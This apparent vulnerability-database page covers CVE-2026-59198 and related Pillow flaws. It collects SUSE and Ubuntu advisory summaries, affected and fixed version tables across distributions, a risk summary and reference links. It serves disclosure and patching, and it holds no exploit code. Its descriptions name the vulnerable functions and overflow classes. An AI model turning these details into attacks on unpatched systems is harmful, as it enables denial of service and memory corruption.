- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on
mmappath (bsc#1271419). - CVE-2026-59197: heap out-of-bounds write in
ImageFilter.RankFiltervia integer overflow inImagingExpand(bsc#1271418). - CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
- CVE-2026-59199: heap out-of-bounds write in
Image.paste()andImage.crop()via signed coordinate overflow (bsc#1271421). - CVE-2026-59200: decompression bomb DoS via
PdfParser.PdfStream.decode()(bsc#1271422). - CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
- CVE-2026-59205: controlled heap out-of-bounds write in
ImageCmsTransform.apply()via output mode mismatch
- Record
SUSE-SU-2026:3084-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:3268-1 No score
Security update for python-Pillow
This update for python-Pillow fixes the following issues:
- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on
mmappath (bsc#1271419). - CVE-2026-54059: bomb protection bypass via PCF font loading due to
Image.frombytes()being called without_decompression_bomb_check()(bsc#1270409). - CVE-2026-54060: excessive allocation due to
FontFile.compile():Image.new()being called without_decompression_bomb_check()(bsc#1270410). - CVE-2026-55379: bomb protection bypass via font loading due to
Image.new()being called without_decompression_bomb_check()(bsc#1270411). - CVE-2026-55380: unchecked 4.3 GB C-heap allocation due to image dimensions being accepted without
_decompression_bomb_check()inGdImageFile._open()(bsc#1270412). - CVE-2026-59197: heap out-of-bounds write in
ImageFilter.RankFiltervia integer overflow inImagingExpand(bsc#1271418). - CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
- CVE-2026-59199: heap out-of-bounds write in
Image.paste()andImage.crop()via signed coordinate overflow (bsc#1271421). - CVE-2026-59200: decompression bomb DoS via
PdfParser.PdfStream.decode()(bsc#1271422). - CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
- CVE-2026-59205: controlled heap out-of-bounds write in
ImageCmsTransform.apply()via output mode mismatch (bsc#1271425).
- Record
SUSE-SU-2026:3268-1- Updated
- 2026-11-02
OSVUSN-8690-1 No score
pillow vulnerability
It was discovered that Pillow did not properly manage memory when processing certain image files. An attacker could possibly use this issue to cause a denial of service or read sensitive data.
- Record
USN-8690-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pillowPyPI |
5.2.0 up to 12.3.0 | 12.3.0 |
pillowBitnami |
5.2.0 up to 12.3.0 | 12.3.0 |
pillowTuxCare:PyPI From an advisory covering 5 CVEs |
11.2.1 up to 11.2.1.post3+tuxcare, plus listed versions 11.2.1.post1+tuxcare11.2.1.post2+tuxcare |
11.2.1.post3+tuxcare |
pillowTuxCare:PyPI From an advisory covering 14 CVEs |
11.3.0 up to 11.3.0.post5+tuxcare, plus listed versions 11.3.0.post1+tuxcare11.3.0.post2+tuxcare11.3.0.post3+tuxcare11.3.0.post4+tuxcare |
11.3.0.post5+tuxcare |
pillowTuxCare:PyPI From an advisory covering 4 CVEs |
10.4.0 up to 10.4.0.post10+tuxcare, plus listed versions 10.4.0.post1+tuxcare10.4.0.post2+tuxcare10.4.0.post3+tuxcare10.4.0.post4+tuxcare10.4.0.post5+tuxcare Show 4 moreShow less10.4.0.post6+tuxcare10.4.0.post7+tuxcare10.4.0.post8+tuxcare10.4.0.post9+tuxcare |
10.4.0.post10+tuxcare |
pillowTuxCare:PyPI From an advisory covering 4 CVEs |
9.5.0 up to 9.5.0.post8+tuxcare, plus listed versions 9.5.0.post1+tuxcare9.5.0.post2+tuxcare9.5.0.post3+tuxcare9.5.0.post4+tuxcare9.5.0.post5+tuxcare9.5.0.post6+tuxcare9.5.0.post7+tuxcare |
9.5.0.post8+tuxcare |
pillowTuxCare:PyPI From an advisory covering 4 CVEs |
9.4.0 up to 9.4.0.post9+tuxcare, plus listed versions 9.4.0.post1+tuxcare9.4.0.post2+tuxcare9.4.0.post3+tuxcare9.4.0.post4+tuxcare9.4.0.post5+tuxcare9.4.0.post6+tuxcare9.4.0.post7+tuxcare9.4.0.post8+tuxcare |
9.4.0.post9+tuxcare |
pillowTuxCare:PyPI From an advisory covering 8 CVEs |
8.4.0 up to 8.4.0.post8+tuxcare, plus listed versions 8.4.0.post1+tuxcare8.4.0.post2+tuxcare8.4.0.post3+tuxcare8.4.0.post4+tuxcare8.4.0.post5+tuxcare8.4.0.post6+tuxcare8.4.0.post7+tuxcare |
8.4.0.post8+tuxcare |
pillowDebian:12 |
All versions, plus listed versions 10.0.0-110.1.0-110.2.0-110.3.0-110.3.0-2 Show 19 moreShow less10.4.0-110.4.0-1.111.1.0-111.1.0-211.1.0-311.1.0-411.1.0-511.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-19.4.0-1.19.4.0-1.1+deb12u19.5.0-1 |
None known |
pillowDebian:13 |
All versions, plus listed versions 11.1.0-511.1.0-5+deb13u111.1.0-5+deb13u211.1.0-5+deb13u311.1.0-5+deb13u4 Show 9 moreShow less11.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-1 |
None known |
Show 30 moreShow less
| Package | Affected | Fixed |
|---|---|---|
pillowDebian:14 |
before 12.3.0-1, plus listed versions 11.1.0-511.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-1 |
12.3.0-1 |
pillowPyPI |
5.2.0 up to 12.3.0, plus listed versions 10.0.010.0.110.1.010.2.010.3.0 Show 41 moreShow less10.4.011.0.011.1.011.2.111.3.012.0.012.1.012.1.112.2.05.3.05.4.05.4.0.dev05.4.16.0.06.1.06.2.06.2.16.2.27.0.07.1.07.1.17.1.27.2.08.0.08.0.18.1.08.1.18.1.28.2.08.3.08.3.18.3.28.4.09.0.09.0.19.1.09.1.19.2.09.3.09.4.09.5.0 |
12.3.0 |
python-pillowMageia:10 From an advisory covering 11 CVEs |
before 12.3.0-1.mga10 | 12.3.0-1.mga10 |
python-pillowopenEuler:24.03-LTS-SP4 From an advisory covering 6 CVEs |
before 10.3.0-8.oe2403sp4 | 10.3.0-8.oe2403sp4 |
python-pillowopenEuler:24.03-LTS-SP3 From an advisory covering 5 CVEs |
before 10.3.0-13.oe2403sp3 | 10.3.0-13.oe2403sp3 |
python-pillowopenEuler:20.03-LTS-SP4 From an advisory covering 4 CVEs |
before 9.0.1-16.oe2003sp4 | 9.0.1-16.oe2003sp4 |
python-pillowopenEuler:22.03-LTS-SP4 From an advisory covering 4 CVEs |
before 9.0.1-16.oe2203sp4 | 9.0.1-16.oe2203sp4 |
python-pillowopenEuler:24.03-LTS-SP1 From an advisory covering 5 CVEs |
before 10.3.0-13.oe2403sp1 | 10.3.0-13.oe2403sp1 |
pillowRoot:PyPI |
before 11.1.0+aikido.9 | 11.1.0+aikido.99.5.0+aikido.912.1.0+aikido.119.5.0+aikido.1011.1.0+aikido.1010.4.0+aikido.109.5.0+aikido.1112.2.0+aikido.59.3.0+aikido.1310.4.0+aikido.1112.1.0+aikido.1211.2.1+aikido.611.1.0+aikido.1110.3.0+aikido.1311.0.0+aikido.1011.2.1+aikido.79.3.0+aikido.1411.1.0+aikido.129.5.0+aikido.1212.2.0+aikido.610.4.0+aikido.129.3.0+aikido.1511.1.0+aikido.1312.1.0+aikido.1310.3.0+aikido.1411.0.0+aikido.119.3.0+aikido.1610.3.0+aikido.1510.4.0+aikido.139.3.0+aikido.179.5.0+aikido.1311.2.1+aikido.811.0.0+aikido.1211.1.0+aikido.1412.1.0+aikido.1412.2.0+aikido.710.3.0+aikido.1610.4.0+aikido.1411.1.0+aikido.1511.2.1+aikido.912.2.0+aikido.810.4.0+aikido.1512.1.0+aikido.1510.3.0+aikido.1711.0.0+aikido.139.5.0+aikido.1410.4.0+aikido.1610.3.0+aikido.1810.3.0+aikido.1910.4.0+aikido.1710.3.0+aikido.2011.0.0+aikido.1412.2.0+aikido.99.5.0+aikido.159.5.0+aikido.169.5.0+aikido.179.5.0+aikido.189.5.0+aikido.1910.4.0+aikido.18 |
python-PillowSUSE:Linux Enterprise Server 16.0 From an advisory covering 7 CVEs |
before 11.3.0-160000.8.1 | 11.3.0-160000.8.1 |
python-PillowSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 7 CVEs |
before 11.3.0-160000.8.1 | 11.3.0-160000.8.1 |
python-PillowSUSE:Linux Enterprise Module for Package Hub 15 SP7 From an advisory covering 7 CVEs |
before 7.2.0-150300.3.30.1 | 7.2.0-150300.3.30.1 |
python-PillowSUSE:Linux Enterprise Module for Python 3 15 SP7 From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise Server 15 SP6-LTSS From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
python-PillowSUSE:Linux Enterprise Server for SAP Applications 15 SP6 From an advisory covering 11 CVEs |
before 9.5.0-150400.5.25.1 | 9.5.0-150400.5.25.1 |
pillowUbuntu:Pro:20.04:LTS |
before 7.0.0-4ubuntu0.9+esm1, plus listed versions 6.1.0-16.1.0-1build16.2.1-27.0.0-47.0.0-4build1 Show 9 moreShow less7.0.0-4ubuntu0.17.0.0-4ubuntu0.27.0.0-4ubuntu0.37.0.0-4ubuntu0.47.0.0-4ubuntu0.57.0.0-4ubuntu0.67.0.0-4ubuntu0.77.0.0-4ubuntu0.87.0.0-4ubuntu0.9 |
7.0.0-4ubuntu0.9+esm1 |
pillow-python2Ubuntu:Pro:20.04:LTS |
All versions, plus listed versions 6.2.1-3~build16.2.1-36.2.1-3ubuntu0.1~esm16.2.1-3ubuntu0.1~esm2 |
None known |
pillowUbuntu:22.04:LTS |
before 9.0.1-1ubuntu0.5, plus listed versions 8.1.2+dfsg-0.39.0.0-19.0.1-19.0.1-1build19.0.1-1ubuntu0.19.0.1-1ubuntu0.29.0.1-1ubuntu0.39.0.1-1ubuntu0.4 |
9.0.1-1ubuntu0.5 |
pillowUbuntu:24.04:LTS |
before 10.2.0-1ubuntu1.3, plus listed versions 10.0.0-110.1.0-110.2.0-110.2.0-1build110.2.0-1ubuntu110.2.0-1ubuntu1.2 |
10.2.0-1ubuntu1.3 |
pillowUbuntu:26.04:LTS |
before 12.1.1-2ubuntu1.3, plus listed versions 11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu112.1.1-2ubuntu1.112.1.1-2ubuntu1.2 |
12.1.1-2ubuntu1.3 |
python-PillowopenSUSE:Tumbleweed From an advisory covering 6 CVEs |
before 12.3.0-2.1 | 12.3.0-2.1 |
python-PillowopenSUSE:Leap 16.0 From an advisory covering 7 CVEs |
before 11.3.0-160000.8.1 | 11.3.0-160000.8.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | OSV | |
| affected | ||
| affected | OSV | |
| affected, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-59198 is a medium vulnerability (CVSS 6.5) in Python Pillow, published July 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.31%, the 24th percentile. Fixed in pillow 12.3.0.
References
github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq
github.com/python-pillow/Pillow/pull/9709
github.com/python-pillow/Pillow/commit/eada3cbd7fb9963ee90673fb7b5270124a0d5f4b
github.com/python-pillow/Pillow/releases/tag/12.3.0
nvd.nist.gov/vuln/detail/CVE-2026-59198
github.com/advisories/GHSA-fj7v-r99m-22gq
Show 50 moreShow less
github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59198.json
security-tracker.debian.org/tracker/CVE-2026-59198
github.com/python-pillow/Pillow
advisories.mageia.org/MGASA-2026-0463.html
bugs.mageia.org/show_bug.cgi?id=35909
github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3141
nvd.nist.gov/vuln/detail/CVE-2026-54059
nvd.nist.gov/vuln/detail/CVE-2026-54060
nvd.nist.gov/vuln/detail/CVE-2026-55379
nvd.nist.gov/vuln/detail/CVE-2026-55380
nvd.nist.gov/vuln/detail/CVE-2026-59204
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3185
nvd.nist.gov/vuln/detail/CVE-2026-54058
nvd.nist.gov/vuln/detail/CVE-2026-59197
nvd.nist.gov/vuln/detail/CVE-2026-59199
nvd.nist.gov/vuln/detail/CVE-2026-59205
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3187
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3188
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3189
pypi.org/project/pillow
suse.com/support/update/announcement/2026/suse-su-202623217-1
bugzilla.suse.com/1271418
bugzilla.suse.com/1271419
bugzilla.suse.com/1271420
bugzilla.suse.com/1271421
bugzilla.suse.com/1271422
bugzilla.suse.com/1271424
bugzilla.suse.com/1271425
suse.com/security/cve/CVE-2026-54058
suse.com/security/cve/CVE-2026-59197
suse.com/security/cve/CVE-2026-59198
suse.com/security/cve/CVE-2026-59199
suse.com/security/cve/CVE-2026-59200
suse.com/security/cve/CVE-2026-59204
suse.com/security/cve/CVE-2026-59205
suse.com/support/update/announcement/2026/suse-su-202623228-1
suse.com/support/update/announcement/2026/suse-su-20263084-1
suse.com/support/update/announcement/2026/suse-su-20263268-1
bugzilla.suse.com/1270409
bugzilla.suse.com/1270410
bugzilla.suse.com/1270411
bugzilla.suse.com/1270412
suse.com/security/cve/CVE-2026-54059
suse.com/security/cve/CVE-2026-54060
suse.com/security/cve/CVE-2026-55379
suse.com/security/cve/CVE-2026-55380
ubuntu.com/security/CVE-2026-59198
cve.org/CVERecord?id=CVE-2026-59198
ubuntu.com/security/notices/USN-8690-1
Left out here: the rest of 3 source descriptions. The JSON record has them.